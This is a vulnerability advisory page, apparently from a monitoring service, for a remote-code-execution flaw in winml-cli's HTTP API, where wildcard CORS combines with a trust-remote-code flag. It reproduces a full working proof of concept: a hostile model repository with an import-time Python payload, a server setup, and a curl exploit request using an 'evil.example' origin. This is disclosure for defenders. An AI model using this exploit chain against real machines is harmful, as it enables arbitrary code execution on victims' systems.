Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-96p9-rh4f-92cf
Case Description:
MSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the 'serve/cli_api.py' component of the 'winml-cli' project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets 'allow_origins' to a wildcard, allowing any website to interact with the endpoint. This, combined with the '--trust-remote-code' flag in 'build' and 'config' commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the 'trust_remote_code' parameter, leading to Remote Code Execution (RCE).
Finder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC.
serve/cli_api.py exposes every winml CLI command over HTTP with no authentication. That's defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets allow_origins=["*"] (cli_api.py:150, duplicated at app.py:219), and the victim's browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws.
build and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.from_pretrained(..., trust_remote_code=True) (_autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command's exit_code: 1 is irrelevant.
Reported Repro Steps:
- Setup
git clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc && mkdir -p temp /tmp/poc/evil/pwn python3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click 2. Hostile model repo (payload is module-level → runs on import)
cat > /tmp/poc/evil/pwn/config.json <<'EOF' {"model_type":"pwn","auto_map":{"AutoConfig":"configuration_pwn.PwnConfig"}} EOF cat > /tmp/poc/evil/pwn/configuration_pwn.py <<'EOF' import getpass, os, socket, time from transformers import PretrainedConfig with open(os.environ["PWN_MARKER"], "w") as f: f.write(f"ARBITRARY CODE EXECUTION\ntime={time.strftime('%F %T')}\n" f"user={getpass.getuser()}\nhost={socket.gethostname()}\npid={os.getpid()}\n") class PwnConfig(PretrainedConfig): model_type = "pwn" EOF 3. Start server
Windows: python -m uvicorn winml.modelkit.serve.cli_api:app --host 127.0.0.1 --port 8000
Linux needs a stub for the Windows-only PDH module (no security relevance):
cat > /tmp/poc/serve.py <<'EOF' import os, sys, types, uvicorn m = types.ModuleType("winml.modelkit.session.monitor._pdh") class PdhPoller: def init(s,*a,**k): pass def start(s,*a,**k): pass def stop(s,*a,**k): pass def poll(s,*a,**k): return {} def sample(s,*a,**k): return {} def close(s,*a,**k): pass m.PdhPoller = PdhPoller; m.PDH_AVAILABLE = False sys.modules["winml.modelkit.session.monitor._pdh"] = m from winml.modelkit.serve.cli_api import app uvicorn.run(app, host="127.0.0.1", port=8000, log_level="warning") EOF cd ~/winml-poc && PWN_MARKER=~/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1 </dev/null & sleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up 4. Exploit
curl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build
-H 'Origin: https://evil.example' -H 'Content-Type: application/json'
-d '{"args":{"model":"/tmp/poc/evil/pwn","output_dir":"/tmp/poc/out","trust_remote_code":true}}'
| grep -iE '^HTTP|^access-control-allow-origin'
cat ~/winml-poc/temp/PWNED
HTTP/1.1 200 OK
access-control-allow-origin: *
ARBITRARY CODE EXECUTION
time=2026-08-17 11:24:35
user=shrini host=Shrinivasan pid=11616
Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.
Drag and drop some file here, or click to select
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
- EUVD-2026-70264Alias
- CVE-2026-84452Alias
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard